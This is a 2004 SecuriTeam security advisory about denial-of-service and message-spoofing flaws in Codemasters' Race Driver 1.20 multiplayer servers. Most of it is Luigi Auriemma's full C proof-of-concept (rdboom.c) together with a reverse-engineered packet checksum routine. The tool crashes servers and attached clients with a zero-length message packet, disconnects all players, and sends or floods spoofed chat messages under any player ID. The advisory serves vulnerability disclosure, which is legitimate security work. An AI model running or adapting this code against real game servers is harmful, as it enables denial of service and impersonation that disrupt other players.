[NT] Race Driver Security Issues and DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 06/14/04

  • Next message: SecuriTeam: "[NT] Sygate Personal Firewall Pro May Be Disabled By Local Programs"
    To: list@securiteam.com
    Date: 14 Jun 2004 13:00:15 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Race Driver Security Issues and DoS
    ------------------------------------------------------------------------

    SUMMARY

    Race Driver is a great and funny driving game developed by Codemasters and
    released in March 2003. Actually this game is no longer supported due to
    the release of Race Driver 2 in April 2004. The product has been found to
    contain multiple security issues and a denial of service vulnerability.

    DETAILS

    Vulnerable Systems:
     * Race Driver version 1.20

    Note: An attacker has to have access to the server for some of these
    attacks to work properly. Following are descriptions of the security
    issues found:

    Multi-crash
    If a server receives a message packet with a length identifier of 0 it
    will crash immediately after accessing a NULL pointer. All the attached
    clients will crash as well.

    Server disconnection
    A malformed packet can stop the remote match in a couple of seconds. An
    example is presented in the proof-of-concept section added below.

    Spoofed messages
    The communication protocol used by the game permits sending of messages to
    the server without enforcing that the sending party is really in the match
    and with the other players in the server as their sources. In fact each
    player is identified by an ID (for example the admin as ever ID 0) and
    this value can be customized in the message packet.

    No validation is performed of the message ID and this gives rise to the
    vulnerability.

    Proof-of-Concept example code
    rdboom.c:
    /*
    by Luigi Auriemma - http://aluigi.altervista.org/poc/rdboom.zip
    This source is covered by GNU/GPL
    UNIX & WIN VERSION
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <time.h>
    #include "rdcksum.h"

    #ifdef WIN32
     #include <winsock.h>
     #include "winerr.h"

     #define close closesocket
     #define ONESEC 1000
    #else
     #include <unistd.h>
     #include <sys/socket.h>
     #include <sys/types.h>
     #include <arpa/inet.h>
     #include <netdb.h>

     #define ONESEC 1
    #endif

    #define VER "0.1"
    #define BUFFSZ 2048
    #define PORT 10200
    #define TIMEOUT 4
    #define SIGN "\x05\x02\x00\x00"
    #define NICK "Fake_player"
    #define MSGHDR "\x42\x00\x00" \
         "\x14" \
         "\x00\xFF" \
         "\x00" \
         "\x00\x00\x00\x00"

    #define SNDRCV(x,y) \
     if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, plen) \
      < 0) std_err(); \
     if(timeout(sd) < 0) { \
      fputs("\n" \
       "Error: socket timeout, probably the server is not online, it is not a
    Race\n" \
       " Driver 1 game or more probably it uses a version different by that\n"
    \
       " specified by you.\n" \
       " Try to use a different version option (-v)\n", stdout); \
      close(sd); \
      exit(1); \
     } \
     if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &plen) \
      < 0) std_err(); \
     fputc('.', stdout);

    int timeout(int sock);
    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
     struct sockaddr_in peer;
     int sd,
        port = PORT,
        i,
        msglen,
        plen;
     u_char *buff,
        rd1[] =
         "\x45"
         "\x00\x00" /* checksum */
         "\x00\x00\x00\x00" /* source IP */
         "\xff\xff\x00\x00" /* pck ID */
         SIGN, /* Race Driver sign */
        rd2[] =
         "\xC8\x00\x00\x00\x00"
         SIGN
         "\x00\xA0\x0F\x00\x00\xA0\x0F"
         "\x00\x00\x0B\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00" /* password */
         "\x00\x00\x00\x00\x00\x00\x00\x00",
        rd3[] =
         "\x50\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00",
        crash[] =
         "\x42\x00\x00"
         "\x14" /* event = message */
         "\x00\xFF\x00"
         "\x00\x00\x00\x00", /* length of the message, 0 = crash */
        disc1[] =
         "\xD7\x00\x00\x00\x00\x01\x00\x00"
         "\x17\xFE\xFE"
         "\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00",
        disc2[] =
         "\x42\x00\x00"
         "\x05" /* event = leave race */
         "\x00\xFF\x00",
        *msg = 0,
        attack = 0,
        id = 0,
        version = 10;

     setbuf(stdout, NULL);

     fputs("\n"
      "Toca Race Driver 1 multiple DoS "VER"\n"
      "by Luigi Auriemma\n"
      "e-mail: aluigi@altervista.org\n"
      "web: http://aluigi.altervista.org\n"
      "\n", stdout);
     if(argc < 2) {
      printf("\nUsage: %s [options] <attack> <server>\n"
       "\n"
       "Options:\n"
       "-p PORT destination port (default %d)\n"
       "-v NUM version of the game to attack:\n"
       " 10 = version 1.20 (latest retail patch, DEFAULT)\n"
       " 11 = version 1.1 (both demo and first retail)\n"
       " other = customizable version, for possible future patches\n"
       "\n"
       "Attack options (needed):\n"
       "-m ID MSG fake message, the server receives a message from a specific
    user\n"
       " identified by ID. The administrator has ever ID 0\n"
       " Instead MSG is the message you wanna send, example: -m 0 \"I
    suck\"\n"
       " The messages are completely anonymous, you will not compare in the\n"
       " players list and the server can launch the race without problems\n"
       "-f ID MSG as above but floods the server with the same message each
    second.\n"
       " The flooding continues also during the race!\n"
       "-c crashs the remote server and all the attached clients using a\n"
       " message of length 0\n"
       "-d Disconnects everyone in the server, admin too\n"
       "\n"
       "Remember you must have access to the server for using these attacks,
    so if the\n"
       "server is protected by password you must know it\n"
       "The attacks -c and -d work versus servers <= 1.20, actually doesn't
    exist a\n"
       "patch for the game\n"
       "\n", argv[0],
       PORT);
      exit(1);
     }

    #ifdef WIN32
     WSADATA wsadata;
     WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

     argc--;
     for(i = 1; i < argc; i++) {
      switch(argv[i][1]) {
       case 'p': port = atoi(argv[++i]); break;
       case 'v': version = atoi(argv[++i]); break;
       case 'm': attack = -1; // little trick for -m/-f
       case 'f': {
        attack += 2;
        id = atoi(argv[++i]);
        msglen = strlen(argv[++i]);
        msg = malloc(msglen + sizeof(MSGHDR) - 1);
        if(!msg) std_err();
        memcpy(msg, MSGHDR, sizeof(MSGHDR) - 1);
        msg[6] = id;
        memcpy(msg + sizeof(MSGHDR) - 5, &msglen, 4);
        memcpy(msg + sizeof(MSGHDR) - 1, argv[i], msglen);
        msglen += sizeof(MSGHDR) - 1;
        rdcksum(msg, msglen);
        } break;
       case 'c': {
        attack = 3;
        rdcksum(crash, sizeof(crash) - 1);
        } break;
       case 'd': {
        attack = 4;
        rdcksum(disc1, sizeof(disc1) - 1);
        rdcksum(disc2, sizeof(disc2) - 1);
        } break;
       default: {
        printf("\nError: wrong command-line parameter (%s)\n", argv[i]);
        exit(1);
       }
      }
     }

     if(!attack) {
      fputs("\nError: you must choose an attack! Recheck the available
    options\n", stdout);
      exit(1);
     }

     peer.sin_addr.s_addr = resolv(argv[argc]);
     peer.sin_port = htons(port);
     peer.sin_family = AF_INET;
     plen = sizeof(peer);

     printf("\n"
      "Target: %s:%hu\n"
      "Chosen version: %d\n"
      "\n",
      inet_ntoa(peer.sin_addr), port,
      version);

     rd1[13] = version;
     rdcksum(rd1, sizeof(rd1) - 1);
     rd2[7] = version;
     rdcksum(rd2, sizeof(rd2) - 1);
     rdcksum(rd3, sizeof(rd3) - 1);

     sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
     if(sd < 0) std_err();

     buff = malloc(BUFFSZ);
     if(!buff) std_err();

     SNDRCV(rd1, sizeof(rd1) - 1);

     printf("\n"
      "Servername: %s\n"
      "Players: %d/%d\n",
      buff + 17,
      buff[41], buff[37]);

      // password
     if(buff[33]) {
      fputs("Server requires password, insert it:\n", stdout);
      fflush(stdin);
      fgets(rd2 + 21, 16, stdin);
      rd2[17] = strlen(rd2 + 21) - 1; // last byte is 0x0a
     }

     SNDRCV(rd2, sizeof(rd2) - 1);

     if(*buff == 8) {
      switch(buff[7]) {
       case 2: fputs(
        "race race in progress, impossible to continue the attack\n", stdout);
    break;
       case 3: fputs(
        "full the server is full, impossible to continue the attack\n",
    stdout); break;
       default: {
        fputs("\nError: Unknown error, probably your password is wrong or you
    are testing a server that doesn't support this protocol\n", stdout);
       } break;
      }
    // seems that sometimes I get a "server full" error also if the server is
    not full.
    // Remove these comments to enable the classical errors management
    // close(sd);
    // exit(1);
     }

     if(sendto(sd, rd3, sizeof(rd3) - 1, 0, (struct sockaddr *)&peer,
    sizeof(peer))
      < 0) std_err();
     fputc('.', stdout);

     switch(attack) {
      case 1: {
       printf("\nSpoofed message from ID %d:\n", id);
       SNDRCV(msg, msglen);
       } break;
      case 2: {
       printf("\nSpoofed messages flooding from ID %d:\n", id);
       while(1) {
        SNDRCV(msg, msglen);
        sleep(ONESEC);
       }
       } break;
      case 3: {
       fputs("\nCrash attack:\n", stdout);
       SNDRCV(crash, sizeof(crash) - 1);
       if(sendto(sd, rd1, sizeof(rd1) - 1, 0, (struct sockaddr *)&peer, plen)
        < 0) std_err();
       fputs("- BOOM packet sent, now I check if the server is down\n",
    stdout);
       if(timeout(sd) < 0) {
        fputs("\nThe server IS vulnerable!!!\n", stdout);
       } else {
        fputs("\nThe server doesn't seem vulnerable\n", stdout);
       }
       } break;
      case 4: {
       fputs("\nDisconnection attack:\n", stdout);
       SNDRCV(disc1, sizeof(disc1) - 1);
       SNDRCV(disc2, sizeof(disc2) - 1);
       } break;
     }
     close(sd);

     fputc('\n', stdout);
     return(0);
    }

    int timeout(int sock) {
     struct timeval tout;
     fd_set fd_read;
     int err;

     tout.tv_sec = TIMEOUT;
     tout.tv_usec = 0;
     FD_ZERO(&fd_read);
     FD_SET(sock, &fd_read);
     err = select(sock + 1, &fd_read, NULL, NULL, &tout);
     if(err < 0) std_err();
     if(!err) return(-1);
     return(0);
    }

    u_long resolv(char *host) {
     struct hostent *hp;
     u_long host_ip;

     host_ip = inet_addr(host);
     if(host_ip == INADDR_NONE) {
      hp = gethostbyname(host);
      if(!hp) {
       printf("\nError: Unable to resolve hostname (%s)\n", host);
       exit(1);
      } else host_ip = *(u_long *)(hp->h_addr);
     }
     return(host_ip);
    }

    #ifndef WIN32
     void std_err(void) {
      perror("\nError");
      exit(1);
     }
    #endif

    rdcksum.h:
    /*

    Race Driver packets checksum 0.3
    by Luigi Auriemma
    e-mail: aluigi@altervista.org
    web: http://aluigi.altervista.org

    INTRODUCTION
    -===========

    Finally this algorithm is opensource...
    It is a modified MD5 algorithm used to calculate the 16bit checksum
    placed at offset 1 of any UDP packet of the games Race Driver (both 1
    and 2) developed by Codemasters and possibly also other games that use
    the same checksum.

    First of all a big thanx goes to REC, the Reverse Engineering Compiler
    (http://www.backerstreet.com/rec/rec.htm) because I have used it to
    create all the functions you see here and then I have modified them a
    bit to work... this tool has saved a lot of my time.

    In fact understanding the modifications between the original MD5
    algorithm and that used in Race Driver is really hard so this has been
    the only fast solution I have found.
    In the past I used the dumped binary code of the algorithm but it
    caused a lot of problems because parts of the memory were overwritten
    after the calling of the function so you got a crash or some variables
    were modified and then it ran only on Win32.

    Now there are no problems!
    The only limit seems to be the portability of the code because seems to
    give a different result on my Ibook (PPC cpu).

    USAGE
    -====

     #include "rdcksum.h"

     u_char pck[] = "mypacket";

     rdcksum(pck, sizeof(pck) - 1);

    The checksum is automatically applied to the packet (exactly where is
    "yp") and is also returned by the function.
    You don't need to set the checksum of the packet to zero because the
    function does it automatically before calculating the checksum.

    LICENSE
    -======

    This source is covered by GNU/GPL

    UNIX & WIN VERSION

    */

    #include <string.h>

    #ifdef WIN32
     typedef unsigned char u_char;
     typedef unsigned short u_short;
     typedef unsigned long u_long;
    #endif

    typedef struct md5_state_s {
     u_long count[2];
     u_long abcd[4];
     u_char buf[64];
    } md5_state_t;

    void L00401BDC(
      u_long *A8,
      u_long Ac,
      u_long A10,
      u_long A14,
      u_long esp1c,
      u_long esp20,
      u_long A20) {
     u_long eax;

     eax = ((~A14 | Ac) ^ A10) + esp1c;
     eax = *A8 + eax + A20;
     *A8 = ((eax >> (32 - esp20)) | (eax << esp20)) + Ac;
    }

    void L0040129C(md5_state_t *pms, u_long *esi) {
     u_long ecx,
       edx,
       ebp,
       eax,
       ebx,
       esp1c,
       esp20,
       esp10,
       esp14;

     ecx = esi[0];
     edx = pms->abcd[1];
     ebp = pms->abcd[2];
     eax = pms->abcd[3];
     ebx = ~edx & eax;
     ecx = (ebx | (ebp & edx)) + pms->abcd[0] + ecx + 0xD76AA478;
     eax = ecx;
     ecx = ecx << 7;
     ebx = edx;
     eax = (eax >> 25 | ecx) + edx;
     ebx = ebx & eax;
     ecx = ((~eax & ebp) | ebx) + esi[1];
     ebx = pms->abcd[3] + ecx + -389564586;
     ecx = ebx;
     ebx = ebx << 12;
     ecx = (ecx >> 20 | ebx) + eax;
     ebx = ~ecx & edx;
     edx = (ebx | (ecx & eax)) + esi[2] + ebp + 606105819;
     ebx = edx;
     edx = edx << 17;
     ebx = (ebx >> 15 | edx) + ecx;
     edx = ~ebx & eax;
     edx = (edx | (ecx & ebx)) + esi[3];
     ebp = edx + pms->abcd[1] + -1044525330;
     edx = ebp;
     ebp = ebp >> 10;
     edx = (edx << 22 | ebp) + ebx;
     esp20 = ebx;
     ebp = ~edx;
     ebx = ebx & edx;
     eax = eax + ((ebp & ecx) | ebx) + esi[4] + -176418897;
     ebx = eax >> 25;
     ebx = (ebx | eax << 7) + edx;
     esp1c = ebx;
     eax = esi[5];
     ebx = ~ebx & esp20;
     ecx = ecx + (ebx | (edx & esp1c)) + eax + 1200080426;
     ebp = esp1c;
     eax = ecx;
     ecx = ecx << 12;
     eax = (eax >> 20 | ecx) + ebp;
     ecx = ~eax & edx;
     ecx = (ecx | (eax & ebp)) + esi[6];
     ebx = esp20 + ecx + -1473231341;
     ecx = ebx;
     ebx = ebx << 17;
     ecx = (ecx >> 15 | ebx) + eax;
     ebx = ~ecx & ebp;
     edx = edx + (ebx | (eax & ecx)) + esi[7] + -45705983;
     ebx = edx;
     edx = edx >> 10;
     ebx = (ebx << 22 | edx) + ecx;
     edx = ~ebx & eax;
     edx = (edx | (ecx & ebx)) + esi[8];
     ebp = edx + esp1c + 1770035416;
     edx = ebp;
     ebp = ebp << 7;
     edx = (edx >> 25 | ebp) + ebx;
     esp10 = ebx;
     ebx = ebx & edx;
     eax = eax + ((~edx & ecx) | ebx) + esi[9] + -1958414417;
     ebx = eax;
     eax = eax << 12;
     ebx = (ebx >> 20 | eax) + edx;
     eax = ~ebx & esp10;
     ecx = ecx + (eax | (ebx & edx)) + esi[10] + -42063;
     ebp = ecx;
     ecx = ecx << 17;
     ebp = (ebp >> 15 | ecx) + ebx;
     eax = ebx & ebp;
     ecx = ((~ebp & edx) | eax) + esi[11];
     ecx = esp10 + ecx + -1990404162;
     eax = ecx;
     ecx = ecx >> 10;
     eax = (eax << 22 | ecx) + ebp;
     esp20 = ebp;
     ebp = ebp & eax;
     ecx = ((~eax & ebx) | ebp) + esi[12];
     edx = edx + ecx + 1804603682;
     ecx = edx;
     edx = edx << 7;
     ecx = ecx >> 25 | edx;
     edx = esi[13];
     ecx = ecx + eax;
     esp1c = ecx;
     ecx = (~esp1c & esp20) | (eax & esp1c);
     ebp = esp1c;
     ebx = ebx + ecx + edx + -40341101;
     ecx = ebx;
     ebx = ebx << 12;
     ecx = (ecx >> 20 | ebx) + ebp;
     edx = ~ecx;
     esp14 = edx;
     edx = esp14 & eax;
     edx = (edx | (ecx & ebp)) + esi[14];
     ebx = esp20 + edx + -1502002290;
     edx = ebx;
     ebx = ebx << 17;
     edx = (edx >> 15 | ebx) + ecx;
     ebx = ~edx;
     esp20 = ebx;
     ebx = esp20 & ebp;
     eax = eax + (ebx | (ecx & edx)) + esi[15] + 1236535329;
     ebx = eax;
     eax = eax >> 10;
     ebp = ecx;
     ebx = ebx << 22 | eax;
     eax = esp14 & edx;
     ebx = ebx + edx;
     eax = (eax | (ebp & ebx)) + esi[1];
     ebp = eax + esp1c + -165796510;
     eax = ebp;
     ebp = ebp << 5;
     eax = eax >> 27 | ebp;
     esp20 = esp20 & ebx;
     eax = eax + ebx;
     ebp = edx & eax;
     esp1c = eax;
     ecx = ecx + (esp20 | ebp) + esi[6] + -1069501632;
     eax = ecx;
     ecx = ecx << 9;
     eax = eax >> 23 | ecx;
     ecx = esp1c;
     eax = eax + ecx;
     ebp = ~ebx & ecx;
     edx = edx + (ebp | (eax & ebx)) + esi[11] + 643717713;
     ecx = edx;
     edx = edx << 14;
     ecx = ecx >> 18 | edx;
     edx = esp1c;
     ebp = edx;
     ecx = ecx + eax;
     ebp = ~ebp & eax;
     esp20 = ecx;
     ebx = ebx + (ebp | (ecx & edx)) + esi[0] + -373897302;
     ecx = ebx << 20;
     ecx = ecx | ebx >> 12;
     ebx = esp20;
     edx = ~eax & ebx;
     ecx = ecx + ebx;
     edx = (edx | (eax & ecx)) + esi[5];
     ebp = edx + esp1c + -701558691;
     edx = ebp >> 27;
     esp1c = (edx | ebp << 5) + ecx;
     edx = ebx;
     ebp = ebx & esp1c;
     eax = eax + ((~edx & ecx) | ebp) + esi[10] + 38016083;
     edx = eax;
     eax = eax << 9;
     ebp = ~ecx;
     edx = edx >> 23 | eax;
     eax = esp1c;
     ebp = ebp & eax;
     edx = edx + eax;
     ebx = ebx + (ebp | (edx & ecx)) + esi[15] + -660478335;
     eax = ebx;
     ebx = ebx << 14;
     eax = eax >> 18 | ebx;
     eax = eax + edx;
     ebx = ~esp1c & edx;
     ecx = ecx + (ebx | (eax & esp1c)) + esi[4] + -405537848;
     ebx = ecx;
     ecx = ecx >> 12;
     ebx = (ebx << 20 | ecx) + eax;
     ecx = edx;
     ebp = edx & ebx;
     ecx = ((~ecx & eax) | ebp) + esi[9];
     ebp = ecx + esp1c + 568446438;
     ecx = ebp;
     ebp = ebp << 5;
     esp10 = ebx;
     ecx = (ecx >> 27 | ebp) + ebx;
     ebp = ~eax & ebx;
     edx = edx + (ebp | (eax & ecx)) + esi[14] + -1019803690;
     ebx = edx;
     edx = edx << 9;
     ebx = ebx >> 23 | edx;
     ebx = ebx + ecx;
     ebp = ebx & esp10;
     eax = eax + ((~esp10 & ecx) | ebp) + esi[3] + -187363961;
     edx = eax >> 18;
     edx = (edx | eax << 14) + ebx;
     eax = ecx;
     ebp = edx & ecx;
     eax = ((~eax & ebx) | ebp) + esi[8];
     ebp = eax + esp10 + 1163531501;
     eax = ebp;
     ebp = ebp >> 12;
     esp20 = edx;
     eax = eax << 20 | ebp;
     ebp = ebx;
     eax = eax + edx;
     ebp = ~ebp & edx;
     ecx = ecx + (ebp | (ebx & eax)) + esi[13] + -1444681467;
     edx = ecx;
     ecx = ecx << 5;
     esp1c = (edx >> 27 | ecx) + eax;
     edx = esp20;
     ecx = ~edx & eax;
     ebx = ebx + (ecx | (edx & esp1c)) + esi[2] + -51403784;
     ecx = ebx;
     ebx = ebx << 9;
     ecx = ecx >> 23 | ebx;
     ebx = esp1c;
     ecx = ecx + ebx;
     ebp = ~eax & ebx;
     ebx = edx + (ebp | (ecx & eax)) + esi[7] + 1735328473;
     edx = ebx;
     ebx = ebx << 14;
     edx = edx >> 18 | ebx;
     edx = edx + ecx;
     ebx = ~esp1c & ecx;
     eax = eax + (ebx | (edx & esp1c)) + esi[12] + -1926607734;
     ebx = eax << 20;
     ebx = (ebx | eax >> 12) + edx;
     ebp = esi[5];
     eax = (ecx ^ edx ^ ebx) + ebp;
     ebp = eax + esp1c + -378558;
     eax = ebp;
     ebp = ebp << 4;
     eax = (eax >> 28 | ebp) + ebx;
     ecx = ecx + (edx ^ ebx ^ eax) + esi[8] + -2022574463;
     ebp = ecx;
     ecx = ecx << 11;
     ebp = (ebp >> 21 | ecx) + eax;
     ecx = edx + (ebp ^ ebx ^ eax) + esi[11] + 1839030562;
     edx = ecx;
     ecx = ecx << 16;
     edx = (edx >> 16 | ecx) + ebp;
     ecx = ebp ^ edx;
     esp1c = ecx;
     ebx = ebx + (esp1c ^ eax) + esi[14] + -35309556;
     ecx = ebx;
     ebx = ebx >> 9;
     ecx = ecx << 23 | ebx;
     ecx = ecx + edx;
     ebx = eax + (esp1c ^ ecx) + esi[1] + -1530992060;
     eax = ebx;
     ebx = ebx << 4;
     eax = eax >> 28 | ebx;
     ebx = edx ^ ecx;
     eax = eax + ecx;
     ebp = (ebx ^ eax) + esi[4] + ebp + 1272893353;
     ebx = ebp;
     ebp = ebp << 11;
     ebx = (ebx >> 21 | ebp) + eax;
     edx = edx + (ebx ^ ecx ^ eax) + esi[7] + -155497632;
     ebp = edx;
     edx = edx << 16;
     ebp = (ebp >> 16 | edx) + ebx;
     edx = ebx ^ ebp;
     esp1c = edx;
     edx = ecx + (esp1c ^ eax) + esi[10] + -1094730640;
     ecx = edx << 23;
     ecx = (ecx | edx >> 9) + ebp;
     edx = eax + (esp1c ^ ecx) + esi[13] + 681279174;
     eax = edx;
     edx = edx << 4;
     eax = eax >> 28 | edx;
     edx = ebp ^ ecx;
     eax = eax + ecx;
     ebx = ebx + (edx ^ eax) + esi[0] + -358537222;
     edx = ebx;
     ebx = ebx << 11;
     edx = (edx >> 21 | ebx) + eax;
     ebp = (edx ^ ecx ^ eax) + esi[3] + ebp + -722521979;
     ebx = ebp;
     ebp = ebp << 16;
     ebx = (ebx >> 16 | ebp) + edx;
     ebp = edx ^ ebx;
     esp1c = ebp;
     ebp = ecx + (esp1c ^ eax) + esi[6] + 76029189;
     ecx = ebp;
     ebp = ebp >> 9;
     ecx = ecx << 23 | ebp;
     ecx = ecx + ebx;
     ebp = eax + (esp1c ^ ecx) + esi[9] + -640364487;
     eax = ebp;
     ebp = ebp << 4;
     eax = (eax >> 28 | ebp) + ecx;
     ebp = edx + (ebx ^ ecx ^ eax) + esi[12] + -421815835;
     edx = ebp;
     ebp = ebp << 11;
     edx = (edx >> 21 | ebp) + eax;
     ebp = ebx + (edx ^ ecx ^ eax) + esi[15] + 530742520;
     ebx = ebp;
     ebp = ebp << 16;
     ebx = (ebx >> 16 | ebp) + edx;
     ecx = ecx + (edx ^ ebx ^ eax) + esi[2] + -995338651;
     ebp = ecx << 23;
     ebp = (ebp | ecx >> 9) + ebx;
     ecx = eax + (( ~edx | ebp) ^ ebx) + esi[0] + -198630844;
     eax = ecx >> 26;
     eax = (eax | ecx << 6) + ebp;
     esp1c = eax;
     edx = edx + (( ~ebx | eax) ^ ebp) + esi[7] + 1126891415;
     ecx = edx;
     edx = edx << 10;
     ecx = (ecx >> 22 | edx) + eax;
     edx = (( ~ebp | ecx) ^ eax) + esi[14];
     eax = ~eax;
     ebx = ebx + edx + -1416354905;
     edx = ebx;
     ebx = ebx << 15;
     edx = edx >> 17 | ebx;
     ebx = esi[5];
     edx = edx + ecx;
     eax = ((eax | edx) ^ ecx) + ebx + ebp + -57434055;
     ebx = eax;
     eax = eax >> 11;
     ebx = ebx << 21 | eax;
     ebx = ebx + edx;
     esp14 = ecx;
     esp20 = edx;
     esp10 = ebx;
     L00401BDC(&esp1c, ebx, edx, ecx, esi[12], 6, 1700485571);
     L00401BDC(&esp14, esp1c, esp10, esp20, esi[3], 10, -1894986606);
     L00401BDC(&esp20, esp14, esp1c, esp10, esi[10], 15, -1051523);
     L00401BDC(&esp10, esp20, esp14, esp1c, esi[1], 21, -2054922799);
     L00401BDC(&esp1c, esp10, esp20, esp14, esi[8], 6, 1873313359);
     L00401BDC(&esp14, esp1c, esp10, esp20, esi[15], 10, -30611744);
     L00401BDC(&esp20, esp14, esp1c, esp10, esi[6], 15, -1560198380);
     L00401BDC(&esp10, esp20, esp14, esp1c, esi[13], 21, 1309151649);
     L00401BDC(&esp1c, esp10, esp20, esp14, esi[4], 6, -145523070);
     L00401BDC(&esp14, esp1c, esp10, esp20, esi[11], 10, -1120210379);
     L00401BDC(&esp20, esp14, esp1c, esp10, esi[2], 15, 718787259);
     L00401BDC(&esp10, esp20, esp14, esp1c, esi[9], 21, -343485551);
     pms->abcd[2] += esp20;
     pms->abcd[0] += esp1c;
     pms->abcd[1] += esp10;
     pms->abcd[3] += esp14;
    }

    void L00401C7C(md5_state_t *A4, u_char *A8, u_long Ac) {
     u_long eax,
       esi,
       edi,
       ebp;

     eax = (A4->count[0] >> 3) & 63;
     A4->count[0] += (Ac << 3);
     if(A4->count[0] < (Ac << 3)) A4->count[1]++;
     A4->count[1] += (Ac >> 29);
     ebp = 64 - eax;
     if(Ac >= ebp) {
      memcpy(A4->buf + eax, A8, ebp);
      L0040129C(A4, (u_long *)A4->buf);
      esi = ebp + 63;
      edi = ebp;
      while(esi < Ac) {
       L0040129C(A4, (u_long *)(A8 + esi - 63));
       esi += 64;
       edi += 64;
      }
      eax = 0;
     } else {
      edi = 0;
     }
     memcpy(A4->buf + eax, A8 + edi, Ac - edi);
    }

     /* Race Driver main function */

    u_short rdcksum(u_char *data, u_long size) {
     md5_state_t md5t;
     u_short crc;
     u_long tmp;
     static u_char pad[] =
      "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

     *(u_short *)(data + 1) = 0x0000; // initialization

     md5t.count[0] = md5t.count[1] = 0;
     md5t.abcd[0] = 0x67452301;
     md5t.abcd[1] = 0xefcdab89;
     md5t.abcd[2] = 0x98badcfe;
     md5t.abcd[3] = 0x10325476;

     L00401C7C(&md5t, data, size);
     tmp = (md5t.count[0] >> 3) & 0x3f;
     if(tmp >= 56) tmp = 120 - tmp;
      else tmp = 56 - tmp;
     L00401C7C(&md5t, pad, tmp);
     L00401C7C(&md5t, (u_char *)&md5t.count[0], 8);

     crc = md5t.abcd[0] + md5t.abcd[1] + md5t.abcd[2] + md5t.abcd[3];

     *(u_short *)(data + 1) = crc; // checksum

      
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@altervista.org> Luigi
    Auriemma.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Sygate Personal Firewall Pro May Be Disabled By Local Programs"

    Relevant Pages


    Loading